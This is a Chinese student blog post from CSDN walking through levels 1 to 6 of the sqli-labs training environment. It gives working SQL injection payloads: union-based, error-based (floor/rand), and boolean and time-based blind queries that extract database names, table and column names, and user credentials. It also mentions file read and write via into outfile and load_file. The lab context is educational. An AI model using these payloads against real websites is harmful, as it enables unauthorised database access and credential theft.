小符sqli_labs1~65关的方法与感悟

本文详细介绍了SQL注入的概念、准备工作以及一系列基础和高级挑战,涵盖从错误注入、双注入、盲注到堆叠注入等各种方法,通过实例演示了如何利用SQL注入漏洞进行数据库的探测、数据获取等操作,同时讲解了相关函数的使用,加深了对SQL注入的理解。
摘要由CSDN通过智能技术生成

什么是SQL注入呢?

SQL在管理数据库时,往往通过拼接的方式形成一个数据库语言,在拼接SQL语句的时候,可以通过改变SQL语句,让数据执行我们想要的语句,着同样也是危险的存在

开始前的心理准备

我真的是一脸懵啊,虽然前面也大致学过一些SQL语句,但是真当实践起来,还是懵的要死,还是多亏了学长给的资料sql注入天书还有找了找学长的博客才大致了解了这是什么东西,废话就不多说啦,冲冲冲!

基本的一些用法

首先我们先将sqli_labs的数据库做一个大致的了解
展示数据库:
在这里插入图片描述
展示数据表:
在这里插入图片描述
展示数据表中的内容:
在这里插入图片描述
以上的方法是我们在之前已经学习过的内容,下面要介绍的方法是我们没有学习过的知识
查找数据库:
select schema_name from information_schema.schemata

在这里插入图片描述同样是查找了数据库(不要忘记加上;)
查找数据表:
selete table_name from information_schema.tables where table_schema='security'
在这里插入图片描述查找列:
select column_name from information_schema.columns where table_name='users'
在这里插入图片描述查找字段:
select username,password from security.users
在这里插入图片描述
后面几种查找方式为MySQL高版本的查找方式

Page—1(Basic Challenges)

Less-1 Get-Error based-Single quotes-String

(基于错误的Get单引号字符输入)
上来就显示了一句话:
please input the id as parameter with numeric value 请以数字值作为参数输入用户标示符
1.尝试寻找注入点
在这里插入图片描述我们由此可以看到’‘1’‘LIMIT0.1’此处多了一个’,这就是从错误信息中找到我们需要的信息,也证明存在注入漏洞

那么SELECT *FROM users WHERE id='1' LIMIT 0,1这句话是什么意思呢?我们在MySQL环境中输入一下:
在这里插入图片描述经过多次尝试变换数字可得出:limit 0,1中第一位代表从第几个开始,就像0代表从第一个开始,而第二位代表显示几个数据,就像1代表显示一个数据

在这里插入图片描述所以现在的SQL语句即变成了select *from where id='1'or 1=1'--+
2.联合注入
即:union 联合注入,union 的作用是将两个 sql 语句进行联合,我们将其放入MySQL环境中试验。在这里插入图片描述
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据。
尝试寻找有几个字段
这时候我们就会用到order by语句,至于这个语句是什么意思呢,我们先在MySQL环境下试验一下:
在这里插入图片描述通过改变数字可以看出来order by几就是对第几列排列,当输入的列数不存在时就会报错,所以我们可以用这种方法来判断这张数据表中有几列,(此时使用二分法)
当输入? id=-1' order by 3--+
在这里插入图片描述当输入? id=-1' order by 4--+
在这里插入图片描述这也就说明了4不在实际字段中,则说明数据存在3列
爆破数据库名
输入? id=-1' union select 1,2,database()--+
我们将3的位置换成显示数据库的名称的函数,那么数据库名称就会在页面中显示出来
在这里插入图片描述security即为数据库名
爆破表名
输入 ? id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+
group_concat()
将数据进行拼接成为一行进行显示
在这里插入图片描述emails,referers,uagents,users即为数据表名
爆破表中字段名
在上一步中爆出了我们想要的表名users
输入? id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+
在这里插入图片描述users,users即为数据表中字段名
爆破所有用户名和密码
输入? id=-1' union select 1,2,group_concat(username,0x3a,password )from users --+
0x3a为:的asll值
在这里插入图片描述或者输入?id=0' union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+
在这里插入图片描述或者输入?id=0' union select 1,2, group_concat(concat_ws('~',username,password))from security.users --+
在这里插入图片描述concat_ws(’~’,A,B):
将A~B显示出来
但在此并不推荐使用’~'应将其改为0x7e为最佳

一些函数的作用:

显示系统用户:
system user()
user()
在这里插入图片描述显示数据库:
database()
在这里插入图片描述显示版本信息:
version()
在这里插入图片描述显示MySQL安装路径:
@@datadir
在这里插入图片描述显示操作系统:
@@version_compile_os
在这里插入图片描述

Less-2 Error Based- lntiger

(基于错误的整型注入)
在这里插入图片描述闭合方式为:无闭合,将第一关的’去掉,其余步骤相同
结果:
在这里插入图片描述

Less-3 Error Based-String(with Twist)

(基于错误的GET单引号变形字符注入)
闭合方式为:’),其余步骤相同
在这里插入图片描述结果:
在这里插入图片描述

Less-4 Error Based-DoubleQuotes string

(基于错误的GET双引号字符注入)

闭合方式为:") 其余步骤相同
在这里插入图片描述结果:
在这里插入图片描述

1-4关小结

在SQL注入天数中写道,以下几种语句是最常用于尝试的:
or 1=1–+
'or 1=1–+
"or 1=1–+
)or 1=1–+
')or 1=1–+
") or 1=1–+
"))or 1=1–+
总结来说 1-4关主要考查的是对闭合方式的理解

Less-5 Double Query-Single Quotes-String

(双注入GET单引号字符型注入)
当输入?id=1–+ 时,显示如下:
在这里插入图片描述在这里插入图片描述出现这种情况,则证明不可用联合注入法

补充一些基本函数:

left():
select left (database(),1)='s'
left(a,b):从左侧截取a的前b位,正确则返回1,错误则返回0
在这里插入图片描述regexp:
select user() regexp 'r'
user()的结果是root,regexp为匹配root的正则表达式,正确时返回1,错误时返回0
在这里插入图片描述like:
select user() like 'r%'
与regexp匹配相似
在这里插入图片描述substr:
select substr()XXX
substr(a,b,c):从位置b开始截取a字符的c位长度
1.select substr(database(),1,1)='s'
在这里插入图片描述database()函数会返回security
ascii():
select ascii(' ')
将某个字符转化为ascii值
2.select ascii(substr((select database()),1,1))
在这里插入图片描述

什么是盲注?

盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注
盲注分为三种方法:
基于布尔 SQL 盲注
基于时间的 SQL 盲注
基于报错的 SQL 盲注

1.基于时间的SQL盲注

爆破数据库名长度:
?id=1' and if(length(database())=8,sleep(5),1)--+
当数据库名长度为8时页面就先暂停5秒再开始刷新
在这里插入图片描述所以我们就可以判断出数据库名长度为8
爆破数据库名:
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
数据库名首字母为s时睡5秒再刷新。通过改变left函数中的数字得以爆出整个数据库名。
爆破数据表名:
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
当数据表名首字母为r时页面就先暂停5秒再开始刷新
爆破字段名:
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
当字段名为password时,页面暂停5秒再开始刷新
爆破用户名和密码:
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
当用户名为dump时,页面暂停5秒再开始刷新

时间型盲注耗时费力,一般不建议手注

2.基于布尔 SQL 盲注

在布尔型盲注时正确时有回显,错误时没有回显
爆破数据库:
?id=1' and left((select database()),1) >'t' ='s'--+
在这里插入图片描述?id=1' and left((select database()),1) <'t' ='s'--+
在这里插入图片描述可以看到>'t’无回显,而<'t’有回显
最终可以试出数据库名为security
爆破数据表名:
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
爆破列名:
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+
定向爆破时指定password为字段名,找到password为第四个字段,同理找到username,则下一阶段就是爆破这两个字段
爆破字段名:
?id=1' and left((select password from users order by id limit 0,1),1)='d' --+
爆破用户名和密码:
?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
按照id排序,注意limit 从0开始,且SQL不区分大小写,所以并不知道时Dumb还是dump

3.基于报错的SQL盲注

爆破数据库名:
?id=-1' union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
在这里插入图片描述即security为数据库名
爆破字段名:
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
在这里插入图片描述即referers为字段名
爆破列名:
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
在这里插入图片描述即CURRENT_CONNECTIONS为列名
爆破用户名和密码:
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
在这里插入图片描述即I-kill-you为用户名
小结:
floor函数为向下取整,rand函数为生成随机数
union select cout(*),1,concat(注入语句,floor(rand()*2)) as a from information_schema.tables group by a–+ 的意思是在information_schema.tables中查找名字为a的表,如果没有名为a的表则,生成a的虚拟表并插入数据,这时候执行聚合函数插入表a,由于未有a表返回报错信息,所以就执行了注入语句

Less-6 GET - Double Injection - Double Quotes - String

(双注入GET双引号字符型注入)
第六关仅闭合方式与第五关不同,第六关的闭合方式为双引号闭合

补充一些基本函数:

into outfile: 写文件
select ‘XXX’ into outfile '文件名'
select 'XXX' into outfile '路径'
load_file(): 读文件
select load_file('路径')

<
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值